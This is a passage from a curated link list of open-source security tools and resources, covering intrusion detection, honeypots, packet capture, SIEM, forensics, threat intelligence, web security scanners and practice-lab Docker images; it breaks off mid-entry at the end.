Security Onion is a Linux distro for intrusion detection, network security monitoring, and log management. It's based on Ubuntu and contains Snort, Suricata, Zeek, OSSEC, Sguil, Squert, Snorby, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes! - [sshwatch](https://github.com/marshyski/sshwatch) - IPS for SSH similar to DenyHosts written in Python. It also can gather information about attacker during the attack in a log. - [Stealth](https://fbb-git.gitlab.io/stealth/) - File integrity checker that leaves virtually no sediment. Controller runs from another machine, which makes it hard for an attacker to know that the file system is being checked at defined pseudo random intervals over SSH. Highly recommended for small to medium deployments. - [AIEngine](https://bitbucket.org/camp0/aiengine) - AIEngine is a next generation interactive/programmable Python/Ruby/Java/Lua packet inspection engine with capabilities of learning without any human intervention, NIDS(Network Intrusion Detection System) functionality, DNS domain classification, network collector, network forensics and many others. - [Denyhosts](http://denyhosts.sourceforge.net/) - Thwart SSH dictionary based attacks and brute force attacks. - [Fail2Ban](http://www.fail2ban.org/wiki/index.php/Main_Page) - Scans log files and takes action on IPs that show malicious behavior. - [SSHGuard](http://www.sshguard.net/) - A software to protect services in addition to SSH, written in C - [Lynis](https://cisofy.com/lynis/) - an open source security auditing tool for Linux/Unix. - [CrowdSec](https://github.com/crowdsecurity/crowdsec) - CrowdSec is a free, modern & collaborative behavior detection engine, coupled with a global IP reputation network. It stacks on Fail2Ban's philosophy but is IPV6 compatible and 60x faster (Go vs Python), uses Grok patterns to parse logs and YAML scenario to identify behaviors. CrowdSec is engineered for modern Cloud / Containers / VM based infrastructures (by decoupling detection and remediation). Once detected, you can remedy threats with various bouncers (firewall block, nginx http 403, Captchas, etc.) while the aggressive IPs can be sent to CrowdSec for curation before being shared among all users to further strengthen the community - [wazuh](https://github.com/wazuh/wazuh) - Wazuh is a free and open source XDR platform used for threat prevention, detection, and response. It is capable of protecting workloads across on-premises, virtualized, containerized, and cloud-based environments. Great tool foor all kind of deployments, it includes SIEM capabitilies (indexing + searching + WUI). ### Honey Pot / Honey Net - [awesome-honeypots](https://github.com/paralax/awesome-honeypots) - The canonical awesome honeypot list. - [HoneyPy](https://github.com/foospidy/HoneyPy) - HoneyPy is a low to medium interaction honeypot. It is intended to be easy to: deploy, extend functionality with plugins, and apply custom configurations. - [Conpot](http://conpot.org/) - ICS/SCADA Honeypot. Conpot is a low interactive server side Industrial Control Systems honeypot designed to be easy to deploy, modify and extend. By providing a range of common industrial control protocols we created the basics to build your own system, capable to emulate complex infrastructures to convince an adversary that he just found a huge industrial complex. To improve the deceptive capabilities, we also provided the possibility to server a custom human machine interface to increase the honeypots attack surface. The response times of the services can be artificially delayed to mimic the behaviour of a system under constant load. Because we are providing complete stacks of the protocols, Conpot can be accessed with productive HMI's or extended with real hardware. Conpot is developed under the umbrella of the Honeynet Project and on the shoulders of a couple of very big giants. - [Amun](https://github.com/zeroq/amun) - Amun Python-based low-interaction Honeypot. - [Glastopf](http://glastopf.org/) - Glastopf is a Honeypot which emulates thousands of vulnerabilities to gather data from attacks targeting web applications. The principle behind it is very simple: Reply the correct response to the attacker exploiting the web application. - [Kippo](https://github.com/desaster/kippo) - Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. - [Kojoney](http://kojoney.sourceforge.net/) - Kojoney is a low level interaction honeypot that emulates an SSH server. The daemon is written in Python using the Twisted Conch libraries. - [HonSSH](https://github.com/tnich/honssh) - HonSSH is a high-interaction Honey Pot solution. HonSSH will sit between an attacker and a honey pot, creating two separate SSH connections between them. - [Bifrozt](http://sourceforge.net/projects/bifrozt/) - Bifrozt is a NAT device with a DHCP server that is usually deployed with one NIC connected directly to the Internet and one NIC connected to the internal network. What differentiates Bifrozt from other standard NAT devices is its ability to work as a transparent SSHv2 proxy between an attacker and your honeypot. If you deployed an SSH server on Bifrozt’s internal network it would log all the interaction to a TTY file in plain text that could be viewed later and capture a copy of any files that were downloaded. You would not have to install any additional software, compile any kernel modules or use a specific version or type of operating system on the internal SSH server for this to work. It will limit outbound traffic to a set number of ports and will start to drop outbound packets on these ports when certain limits are exceeded. - [HoneyDrive](http://bruteforce.gr/honeydrive) - HoneyDrive is the premier honeypot Linux distro. It is a virtual appliance (OVA) with Xubuntu Desktop 12.04.4 LTS edition installed. It contains over 10 pre-installed and pre-configured honeypot software packages such as Kippo SSH honeypot, Dionaea and Amun malware honeypots, Honeyd low-interaction honeypot, Glastopf web honeypot and Wordpot, Conpot SCADA/ICS honeypot, Thug and PhoneyC honeyclients and more. Additionally it includes many useful pre-configured scripts and utilities to analyze, visualize and process the data it can capture, such as Kippo-Graph, Honeyd-Viz, DionaeaFR, an ELK stack and much more. Lastly, almost 90 well-known malware analysis, forensics and network monitoring related tools are also present in the distribution. - [Cuckoo Sandbox](http://www.cuckoosandbox.org/) - Cuckoo Sandbox is an Open Source software for automating analysis of suspicious files. To do so it makes use of custom components that monitor the behavior of the malicious processes while running in an isolated environment. - [T-Pot Honeypot Distro](http://dtag-dev-sec.github.io/mediator/feature/2017/11/07/t-pot-17.10.html) - T-Pot is based on the network installer of Ubuntu Server 16/17.x LTS. The honeypot daemons as well as other support components being used have been containerized using docker. This allows us to run multiple honeypot daemons on the same network interface while maintaining a small footprint and constrain each honeypot within its own environment. Installation over vanilla Ubuntu - [T-Pot Autoinstall](https://github.com/dtag-dev-sec/t-pot-autoinstall) - This script will install T-Pot 16.04/17.10 on a fresh Ubuntu 16.04.x LTS (64bit). It is intended to be used on hosted servers, where an Ubuntu base image is given and there is no ability to install custom ISO images. Successfully tested on vanilla Ubuntu 16.04.3 in VMware. ### Full Packet Capture / Forensic - [tcpflow](https://github.com/simsong/tcpflow) - tcpflow is a program that captures data transmitted as part of TCP connections (flows), and stores the data in a way that is convenient for protocol analysis and debugging. Each TCP flow is stored in its own file. Thus, the typical TCP flow will be stored in two files, one for each direction. tcpflow can also process stored 'tcpdump' packet flows. - [Xplico](http://www.xplico.org/) - The goal of Xplico is extract from an internet traffic capture the applications data contained. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. Xplico isn’t a network protocol analyzer. Xplico is an open source Network Forensic Analysis Tool (NFAT). - [Moloch](https://github.com/aol/moloch) - Moloch is an open source, large scale IPv4 packet capturing (PCAP), indexing and database system. A simple web interface is provided for PCAP browsing, searching, and exporting. APIs are exposed that allow PCAP data and JSON-formatted session data to be downloaded directly. Simple security is implemented by using HTTPS and HTTP digest password support or by using apache in front. Moloch is not meant to replace IDS engines but instead work along side them to store and index all the network traffic in standard PCAP format, providing fast access. Moloch is built to be deployed across many systems and can scale to handle multiple gigabits/sec of traffic. - [OpenFPC](http://www.openfpc.org) - OpenFPC is a set of tools that combine to provide a lightweight full-packet network traffic recorder & buffering system. It's design goal is to allow non-expert users to deploy a distributed network traffic recorder on COTS hardware while integrating into existing alert and log management tools. - [Dshell](https://github.com/USArmyResearchLab/Dshell) - Dshell is a network forensic analysis framework. Enables rapid development of plugins to support the dissection of network packet captures. - [stenographer](https://github.com/google/stenographer) - Stenographer is a packet capture solution which aims to quickly spool all packets to disk, then provide simple, fast access to subsets of those packets. ### Sniffer - [wireshark](https://www.wireshark.org) - Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Wireshark is very similar to tcpdump, but has a graphical front-end, plus some integrated sorting and filtering options. - [netsniff-ng](http://netsniff-ng.org/) - netsniff-ng is a free Linux networking toolkit, a Swiss army knife for your daily Linux network plumbing if you will. Its gain of performance is reached by zero-copy mechanisms, so that on packet reception and transmission the kernel does not need to copy packets from kernel space to user space and vice versa. - [Live HTTP headers ](https://addons.mozilla.org/en-US/firefox/addon/http-header-live/) - Live HTTP headers is a free firefox addon to see your browser requests in real time. It shows the entire headers of the requests and can be used to find the security loopholes in implementations. ### Security Information & Event Management - [Prelude](https://www.prelude-siem.org/) - Prelude is a Universal "Security Information & Event Management" (SIEM) system. Prelude collects, normalizes, sorts, aggregates, correlates and reports all security-related events independently of the product brand or license giving rise to such events; Prelude is "agentless". - [OSSIM](https://www.alienvault.com/open-threat-exchange/projects) - OSSIM provides all of the features that a security professional needs from a SIEM offering – event collection, normalization, and correlation. - [FIR](https://github.com/certsocietegenerale/FIR) - Fast Incident Response, a cybersecurity incident management platform. - [LogESP](https://github.com/dogoncouch/LogESP) - Open Source SIEM (Security Information and Event Management system). - [wazuh](https://github.com/wazuh/wazuh) -Wazuh is a free, open source and enterprise-ready security monitoring solution for threat detection, integrity monitoring, incident response and compliance. It works with tons of data supported by an OpenSearch fork and custom WUI. - ### VPN - [OpenVPN](https://openvpn.net/) - OpenVPN is an open source software application that implements virtual private network (VPN) techniques for creating secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It uses a custom security protocol that utilizes SSL/TLS for key exchange. - [Firezone](https://github.com/firezone/firezone) - Open-source VPN server and egress firewall for Linux built on WireGuard that makes it simple to manage secure remote access to your company’s private networks. Firezone is easy to set up (all dependencies are bundled thanks to Chef Omnibus), secure, performant, and self hostable. ### Fast Packet Processing - [DPDK](http://dpdk.org/) - DPDK is a set of libraries and drivers for fast packet processing. - [PFQ](https://github.com/pfq/PFQ) - PFQ is a functional networking framework designed for the Linux operating system that allows efficient packets capture/transmission (10G and beyond), in-kernel functional processing and packets steering across sockets/end-points. - [PF_RING](http://www.ntop.org/products/packet-capture/pf_ring/) - PF_RING is a new type of network socket that dramatically improves the packet capture speed. - [PF_RING ZC (Zero Copy)](http://www.ntop.org/products/packet-capture/pf_ring/pf_ring-zc-zero-copy/) - PF_RING ZC (Zero Copy) is a flexible packet processing framework that allows you to achieve 1/10 Gbit line rate packet processing (both RX and TX) at any packet size. It implements zero copy operations including patterns for inter-process and inter-VM (KVM) communications. - [PACKET_MMAP/TPACKET/AF_PACKET](https://elixir.bootlin.com/linux/latest/source/Documentation/networking/packet_mmap.rst) - It's fine to use PACKET_MMAP to improve the performance of the capture and transmission process in Linux. - [netmap](http://info.iet.unipi.it/~luigi/netmap/) - netmap is a framework for high speed packet I/O. Together with its companion VALE software switch, it is implemented as a single kernel module and available for FreeBSD, Linux and now also Windows. ### Firewall - [pfSense](https://www.pfsense.org/) - Firewall and Router FreeBSD distribution. - [OPNsense](https://opnsense.org/) - is an open source, easy-to-use and easy-to-build FreeBSD based firewall and routing platform. OPNsense includes most of the features available in expensive commercial firewalls, and more in many cases. It brings the rich feature set of commercial offerings with the benefits of open and verifiable sources. - [fwknop](https://www.cipherdyne.org/fwknop/) - Protects ports via Single Packet Authorization in your firewall. ### Anti-Spam - [Spam Scanner](https://github.com/spamscanner) - Anti-Spam Scanning Service and Anti-Spam API by [@niftylettuce](https://github.com/niftylettuce). - [rspamd](https://github.com/rspamd/rspamd) - Fast, free and open-source spam filtering system. - [SpamAssassin](https://spamassassin.apache.org/) - A powerful and popular email spam filter employing a variety of detection technique. - [Scammer-List](https://scammerlist.now.sh/) - A free open source AI based Scam and Spam Finder with a free API ### Docker Images for Penetration Testing & Security - `docker pull kalilinux/kali-linux-docker` [official Kali Linux](https://hub.docker.com/r/kalilinux/kali-linux-docker/) - `docker pull owasp/zap2docker-stable` - [official OWASP ZAP](https://github.com/zaproxy/zaproxy) - `docker pull wpscanteam/wpscan` - [official WPScan](https://hub.docker.com/r/wpscanteam/wpscan/) - `docker pull remnux/metasploit` - [docker-metasploit](https://hub.docker.com/r/remnux/metasploit/) - `docker pull citizenstig/dvwa` - [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/citizenstig/dvwa/) - `docker pull wpscanteam/vulnerablewordpress` - [Vulnerable WordPress Installation](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/) - `docker pull hmlio/vaas-cve-2014-6271` - [Vulnerability as a service: Shellshock](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/) - `docker pull hmlio/vaas-cve-2014-0160` - [Vulnerability as a service: Heartbleed](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/) - `docker pull opendns/security-ninjas` - [Security Ninjas](https://hub.docker.com/r/opendns/security-ninjas/) - `docker pull diogomonica/docker-bench-security` - [Docker Bench for Security](https://hub.docker.com/r/diogomonica/docker-bench-security/) - `docker pull ismisepaul/securityshepherd` - [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/) - `docker pull danmx/docker-owasp-webgoat` - [OWASP WebGoat Project docker image](https://hub.docker.com/r/danmx/docker-owasp-webgoat/) - `docker-compose build && docker-compose up` - [OWASP NodeGoat](https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker) - `docker pull citizenstig/nowasp` - [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/) - `docker pull bkimminich/juice-shop` - [OWASP Juice Shop](https://hub.docker.com/r/bkimminich/juice-shop) - `docker pull jeroenwillemsen/wrongsecrets`- [OWASP WrongSecrets](https://hub.docker.com/r/jeroenwillemsen/wrongsecrets) ## Endpoint ### Anti-Virus / Anti-Malware - [Fastfinder](https://github.com/codeyourweb/fastfinder) - Fast customisable cross-platform suspicious file finder. Supports md5/sha1/sha256 hashs, litteral/wildcard strings, regular expressions and YARA rules. Can easily be packed to be deployed on any windows / linux host. - [Linux Malware Detect](https://www.rfxn.com/projects/linux-malware-detect/) - A malware scanner for Linux designed around the threats faced in shared hosted environments. - [LOKI](https://github.com/Neo23x0/Loki) - Simple Indicators of Compromise and Incident Response Scanner - [rkhunter](http://rkhunter.sourceforge.net/) - A Rootkit Hunter for Linux ### Content Disarm & Reconstruct - [DocBleach](https://github.com/docbleach/DocBleach) - An open-source Content Disarm & Reconstruct software sanitizing Office, PDF and RTF Documents. ### Configuration Management - [Rudder](http://www.rudder-project.org/) - Rudder is an easy to use, web-driven, role-based solution for IT Infrastructure Automation & Compliance. Automate common system administration tasks (installation, configuration); Enforce configuration over time (configuring once is good, ensuring that configuration is valid and automatically fixing it is better); Inventory of all managed nodes; Web interface to configure and manage nodes and their configuration; Compliance reporting, by configuration and/or by node. ### Authentication - [google-authenticator](https://github.com/google/google-authenticator) - The Google Authenticator project includes implementations of one-time passcode generators for several mobile platforms, as well as a pluggable authentication module (PAM). One-time passcodes are generated using open standards developed by the Initiative for Open Authentication (OATH) (which is unrelated to OAuth). These implementations support the HMAC-Based One-time Password (HOTP) algorithm specified in RFC 4226 and the Time-based One-time Password (TOTP) algorithm specified in RFC 6238. [Tutorials: How to set up two-factor authentication for SSH login on Linux](http://xmodulo.com/two-factor-authentication-ssh-login-linux.html) - [Stegcloak](https://github.com/kurolabs/stegcloak) - Securely assign Digital Authenticity to any written text ### Mobile / Android / iOS - [android-security-awesome](https://github.com/ashishb/android-security-awesome) - A collection of android security related resources. A lot of work is happening in academia and industry on tools to perform dynamic analysis, static analysis and reverse engineering of android apps. - [SecMobi Wiki](http://wiki.secmobi.com/) - A collection of mobile security resources which including articles, blogs, books, groups, projects, tools and conferences. * - [OWASP Mobile Security Testing Guide](https://github.com/OWASP/owasp-mstg) - A comprehensive manual for mobile app security testing and reverse engineering. - [OSX Security Awesome](https://github.com/kai5263499/osx-security-awesome) - A collection of OSX and iOS security resources - [Themis](https://github.com/cossacklabs/themis) - High-level multi-platform cryptographic framework for protecting sensitive data: secure messaging with forward secrecy and secure data storage (AES256GCM), suits for building end-to-end encrypted applications. - [Mobile Security Wiki](https://mobilesecuritywiki.com/) - A collection of mobile security resources. - [Apktool](https://github.com/iBotPeaches/Apktool) - A tool for reverse engineering Android apk files. - [jadx](https://github.com/skylot/jadx) - Command line and GUI tools for produce Java source code from Android Dex and Apk files. - [enjarify](https://github.com/Storyyeller/enjarify) - A tool for translating Dalvik bytecode to equivalent Java bytecode. - [Android Storage Extractor](https://github.com/51j0/Android-Storage-Extractor) - A tool to extract local data storage of an Android application in one click. - [Quark-Engine](https://github.com/quark-engine/quark-engine) - An Obfuscation-Neglect Android Malware Scoring System. - [dotPeek](https://www.jetbrains.com/decompiler/) - Free-of-charge standalone tool based on ReSharper's bundled decompiler. - [hardened_malloc](https://github.com/GrapheneOS/hardened_malloc) - Hardened allocator designed for modern systems. It has integration into Android's Bionic libc and can be used externally with musl and glibc as a dynamic library for use on other Linux-based platforms. It will gain more portability / integration over time. - [AMExtractor](https://github.com/ir193/AMExtractor) - AMExtractor can dump out the physical content of your Android device even without kernel source code. - [frida](https://github.com/frida/frida) - Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. - [UDcide](https://github.com/UDcide/udcide) - Android Malware Behavior Editor. - [reFlutter](https://github.com/ptswarm/reFlutter) - Flutter Reverse Engineering Framework ### Forensics - [grr](https://github.com/google/grr) - GRR Rapid Response is an incident response framework focused on remote live forensics. - [Volatility](https://github.com/volatilityfoundation/volatility) - Python based memory extraction and analysis framework. - [mig](http://mig.mozilla.org/) - MIG is a platform to perform investigative surgery on remote endpoints. It enables investigators to obtain information from large numbers of systems in parallel, thus accelerating investigation of incidents and day-to-day operations security. - [ir-rescue](https://github.com/diogo-fernan/ir-rescue) - *ir-rescue* is a Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response. - [Logdissect](https://github.com/dogoncouch/logdissect) - CLI utility and Python API for analyzing log files and other data. - [Meerkat](https://github.com/TonyPhipps/Meerkat) - PowerShell-based Windows artifact collection for threat hunting and incident response. - [Rekall](https://github.com/google/rekall) - The Rekall Framework is a completely open collection of tools, implemented in Python under the Apache and GNU General Public License, for the extraction and analysis of digital artifacts computer systems. - [LiME](https://github.com/504ensicsLabs/LiME.git) - Linux Memory Extractor ## Threat Intelligence - [abuse.ch](https://www.abuse.ch/) - ZeuS Tracker / SpyEye Tracker / Palevo Tracker / Feodo Tracker tracks Command&Control servers (hosts) around the world and provides you a domain- and an IP-blocklist. - [Emerging Threats - Open Source](http://doc.emergingthreats.net/bin/view/Main/EmergingFAQ) - Emerging Threats began 10 years ago as an open source community for collecting Suricata and SNORT® rules, firewall rules, and other IDS rulesets. The open source community still plays an active role in Internet security, with more than 200,000 active users downloading the ruleset daily. The ETOpen Ruleset is open to any user or organization, as long as you follow some basic guidelines. Our ETOpen Ruleset is available for download any time. - [PhishTank](http://www.phishtank.com/) - PhishTank is a collaborative clearing house for data and information about phishing on the Internet. Also, PhishTank provides an open API for developers and researchers to integrate anti-phishing data into their applications at no charge. - [SBL / XBL / PBL / DBL / DROP / ROKSO](http://www.spamhaus.org/) - The Spamhaus Project is an international nonprofit organization whose mission is to track the Internet's spam operations and sources, to provide dependable realtime anti-spam protection for Internet networks, to work with Law Enforcement Agencies to identify and pursue spam and malware gangs worldwide, and to lobby governments for effective anti-spam legislation. - [Internet Storm Center](https://www.dshield.org/reports.html) - The ISC was created in 2001 following the successful detection, analysis, and widespread warning of the Li0n worm. Today, the ISC provides a free analysis and warning service to thousands of Internet users and organizations, and is actively working with Internet Service Providers to fight back against the most malicious attackers. - [AutoShun](https://www.autoshun.org/) - AutoShun is a Snort plugin that allows you to send your Snort IDS logs to a centralized server that will correlate attacks from your sensor logs with other snort sensors, honeypots, and mail filters from around the world. - [DNS-BH](http://www.malwaredomains.com/) - The DNS-BH project creates and maintains a listing of domains that are known to be used to propagate malware and spyware. This project creates the Bind and Windows zone files required to serve fake replies to localhost for any requests to these, thus preventing many spyware installs and reporting. - [AlienVault Open Threat Exchange](http://www.alienvault.com/open-threat-exchange/dashboard) - AlienVault Open Threat Exchange (OTX), to help you secure your networks from data loss, service disruption and system compromise caused by malicious IP addresses. - [Tor Bulk Exit List](https://metrics.torproject.org/collector.html) - CollecTor, your friendly data-collecting service in the Tor network. CollecTor fetches data from various nodes and services in the public Tor network and makes it available to the world. If you're doing research on the Tor network, or if you're developing an application that uses Tor network data, this is your place to start. [TOR Node List](https://www.dan.me.uk/tornodes) / [DNS Blacklists](https://www.dan.me.uk/dnsbl) / [Tor Node List](http://torstatus.blutmagie.de/) - [leakedin.com](http://www.leakedin.com/) - The primary purpose of leakedin.com is to make visitors aware about the risks of loosing data. This blog just compiles samples of data lost or disclosed on sites like pastebin.com. - [FireEye OpenIOCs](https://github.com/fireeye/iocs) - FireEye Publicly Shared Indicators of Compromise (IOCs) - [OpenVAS NVT Feed](http://www.openvas.org/openvas-nvt-feed.html) - The public feed of Network Vulnerability Tests (NVTs). It contains more than 35,000 NVTs (as of April 2014), growing on a daily basis. This feed is configured as the default for OpenVAS. - [Project Honey Pot](http://www.projecthoneypot.org/) - Project Honey Pot is the first and only distributed system for identifying spammers and the spambots they use to scrape addresses from your website. Using the Project Honey Pot system you can install addresses that are custom-tagged to the time and IP address of a visitor to your site. If one of these addresses begins receiving email we not only can tell that the messages are spam, but also the exact moment when the address was harvested and the IP address that gathered it. - [virustotal](https://www.virustotal.com/) - VirusTotal, a subsidiary of Google, is a free online service that analyzes files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and website scanners. At the same time, it may be used as a means to detect false positives, i.e. innocuous resources detected as malicious by one or more scanners. - [IntelMQ](https://github.com/certtools/intelmq/) - IntelMQ is a solution for CERTs for collecting and processing security feeds, pastebins, tweets using a message queue protocol. It's a community driven initiative called IHAP (Incident Handling Automation Project) which was conceptually designed by European CERTs during several InfoSec events. Its main goal is to give to incident responders an easy way to collect & process threat intelligence thus improving the incident handling processes of CERTs. [ENSIA Homepage](https://www.enisa.europa.eu/activities/cert/support/incident-handling-automation). - [CIFv2](https://github.com/csirtgadgets/massive-octo-spice) - CIF is a cyber threat intelligence management system. CIF allows you to combine known malicious threat information from many sources and use that information for identification (incident response), detection (IDS) and mitigation (null route). - [MISP - Open Source Threat Intelligence Platform ](https://www.misp-project.org/) - MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators. A threat intelligence platform for gathering, sharing, storing and correlating Indicators of Compromise of targeted attacks, threat intelligence, financial fraud information, vulnerability information or even counter-terrorism information. The MISP project includes software, common libraries ([taxonomies](https://www.misp-project.org/taxonomies.html), [threat-actors and various malware](https://www.misp-project.org/galaxy.html)), an extensive data model to share new information using [objects](https://www.misp-project.org/objects.html) and default [feeds](https://www.misp-project.org/feeds/). - [PhishStats](https://phishstats.info/) - Phishing Statistics with search for IP, domain and website title. - [Threat Jammer](https://threatjammer.com) - REST API service that allows developers, security engineers, and other IT professionals to access curated threat intelligence data from a variety of sources. ## Social Engineering - [Gophish](https://getgophish.com/) - An Open-Source Phishing Framework. ## Web ### Organization - [OWASP](http://www.owasp.org) - The Open Web Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software. - [Portswigger](https://portswigger.net) - PortSwigger offers tools for web application security, testing & scanning. Choose from a wide range of security tools & identify the very latest vulnerabilities. ### Web Application Firewall - [ModSecurity](http://www.modsecurity.org/) - ModSecurity is a toolkit for real-time web application monitoring, logging, and access control. - [NAXSI](https://github.com/nbs-system/naxsi) - NAXSI is an open-source, high performance, low rules maintenance WAF for NGINX, NAXSI means Nginx Anti Xss & Sql Injection. - [sql_firewall](https://github.com/uptimejp/sql_firewall) SQL Firewall Extension for PostgreSQL - [ironbee](https://github.com/ironbee/ironbee) - IronBee is an open source project to build a universal web application security sensor. IronBee as a framework for developing a system for securing web applications - a framework for building a web application firewall (WAF). - [Curiefense](https://github.com/curiefense/curiefense) - Curiefense adds a broad set of automated web security tools, including a WAF to Envoy Proxy. ### Scanning / Pentesting - [Spyse](https://spyse.com/) - Spyse is an OSINT search engine that provides fresh data about the entire web. All the data is stored in its own DB for instant access and interconnected with each other for flexible search. Provided data: IPv4 hosts, sub/domains/whois, ports/banners/protocols, technologies, OS, AS, wide SSL/TLS DB and more. - [sqlmap](http://sqlmap.org/) - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. - [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. - [OWASP Testing Checklist v4](https://www.owasp.org/index.php/Testing_Checklist) - List of some controls to test during a web vulnerability assessment. Markdown version may be found [here](https://github.com/amocrenco/owasp-testing-checklist-v4-markdown/blob/master/README.md). - [w3af](http://w3af.org/) - w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to help you secure your web applications by finding and exploiting all web application vulnerabilities. - [Recon-ng](https://github.com/lanmaster53/recon-ng) - Recon-ng is a full-featured Web Reconnaissance framework written in Python. Recon-ng has a look and feel similar to the Metasploit Framework. - [PTF](https://github.com/trustedsec/ptf) - The Penetration Testers Framework (PTF) is a way for modular support for up-to-date tools. - [Infection Monkey](https://github.com/guardicore/monkey) - A semi automatic pen testing tool for mapping/pen-testing networks. Simulates a human attacker. - [ACSTIS](https://github.com/tijme/angularjs-csti-scanner) - ACSTIS helps you to scan certain web applications for AngularJS Client-Side Template Injection (sometimes referred to as CSTI, sandbox escape or sandbox bypass). It supports scanning a single request but also crawling the entire web application for the AngularJS CSTI vulnerability. - [padding-oracle-attacker](https://github.com/KishanBagaria/padding-oracle-attacker) - padding-oracle-attacker is a CLI tool and library to execute padding oracle attacks (which decrypts data encrypted in CBC mode) easily, with support for concurrent network requests and an elegant UI. - [is-website-vulnerable](https://github.com/lirantal/is-website-vulnerable) - finds publicly known security vulnerabilities in a website's frontend JavaScript libraries. - [PhpSploit](https://github.com/nil0x42/phpsploit) - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner. Built for stealth persistence, with many privilege-escalation & post-exploitation features. - [Scanmycode CE (Community Edition)](https://github.com/marcinguy/scanmycode-ce) - Code Scanning/SAST/Static Analysis/Linting using many tools/Scanners with One Report. Currently supports: PHP, Java, Scala, Python, Ruby, Javascript, GO, Secret Scanning, Dependency Confusion, Trojan Source, Open Source and Proprietary Checks (total ca. 1000 checks) - [Keyscope](https://github.com/SpectralOps/keyscope) - Keyscope is an extensible key and secret validation for checking active secrets against multiple SaaS vendors built in Rust ### Runtime Application Self-Protection - [Sqreen](https://www.sqreen.io/) - Sqreen is a Runtime Application Self-Protection (RASP) solution for software teams. An in-app agent instruments and monitors the app. Suspicious user activities are reported and attacks are blocked at runtime without code modification or traffic redirection. - [OpenRASP](https://github.com/baidu/openrasp) - An open source RASP solution actively maintained by Baidu Inc. With context-aware detection algorithm the project achieved nearly no false positives. And less than 3% performance reduction is observed under heavy server load. ### Development - [API Security in Action](https://www.manning.com/books/api-security-in-action) - Book covering API security including secure development, token-based authentication, JSON Web Tokens, OAuth 2, and Macaroons. (early access, published continuously, final release summer 2020) - [Secure by Design](https://www.manning.com/books/secure-by-design?a_aid=danbjson&a_bid=0b3fac80) - Book that identifies design patterns and coding styles that make lots of security vulnerabilities less likely. (early access, published continuously, final release fall 2017) - [Understanding API Security](https://www.manning.com/books/understanding-api-security) - Free eBook sampler that gives some context for how API security works in the real world by showing how APIs are put together and how the OAuth protocol can be used to protect them. - [OAuth 2 in Action](https://www.manning.com/books/oauth-2-in-action) - Book that teaches you practical use and deployment of OAuth 2 from the perspectives of a client, an authorization server, and a resource server. - [OWASP ZAP Node API](https://github.com/zaproxy/zap-api-nodejs) - Leverage the OWASP Zed Attack Proxy (ZAP) within your NodeJS applications with this official API. - [GuardRails](https://github.com/apps/guardrails) - A GitHub App that provides security feedback in Pull Requests. - [Checkov](https://github.com/bridgecrewio/checkov/) - A static analysis tool for infrastucture as code (Terraform). - [TFSec](https://github.com/tfsec/tfsec/) - A static analysis tool for infrastucture as code (Terraform). - [KICS](https://github.com/Checkmarx/kics) - Scans IaC projects for security vulnerabilities, compliance issues, and infrastructure misconfiguration. Currently working with Terraform projects, Kubernetes manifests, Dockerfiles, AWS CloudFormation Templates, and Ansible playbooks. - [Insider CLI](https://github.com/insidersec/insider) - A open source Static Application Security Testing tool (SAST) written in GoLang for Java (Maven and Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C# and Javascript (Node.js). - [Full Stack Python Security](https://www.manning.com/books/full-stack-python-security) - A comprehensive look at cybersecurity for Python developers - [Making Sense of Cyber Security](https://www.manning.com/books/making-sense-of-cyber-security) - A jargon-free, practical guide to the key concepts, terminology, and technologies of cybersecurity perfect for anyone planning or implementing a security strategy. (early access, published continuously, final release early 2022) - [Security Checklist by OWASP](https://owasp.org/www-project-application-security-verification-standard/) - A checklist by OWASP for testing web applications based on assurance level. Covers multiple topics like Architecture, IAM, Sanitization, Cryptography and Secure Configuration. ## Exploits & Payloads - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - A list of useful payloads and bypass for Web Application Security and Pentest/CTF ## Red Team Infrastructure Deployment - [Redcloud](https://github.com/khast3x/Redcloud) - A automated Red Team Infrastructure deployement using Docker. - [Axiom](https://github.com/pry0cc/axiom) -Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments, build and deploy repeatable infrastructure focussed on offensive and defensive security. ## Usability - [Usable Security Course](https://pt.coursera.org/learn/usable-security) - Usable Security course at coursera. Quite good for those looking for how security and usability intersects. ## Big Data - [data_hacking](https://github.com/ClickSecurity/data_hacking) - Examples of using IPython, Pandas, and Scikit Learn to get the most out of your security data. - [hadoop-pcap](https://github.com/RIPE-NCC/hadoop-pcap) - Hadoop library to read packet capture (PCAP) files. - [Workbench](http://workbench.readthedocs.org/) - A scalable python framework for security research and development teams. - [OpenSOC](https://github.com/OpenSOC/opensoc) - OpenSOC integrates a variety of open source big data technologies in order to offer a centralized tool for security monitoring and analysis. - [Apache Metron 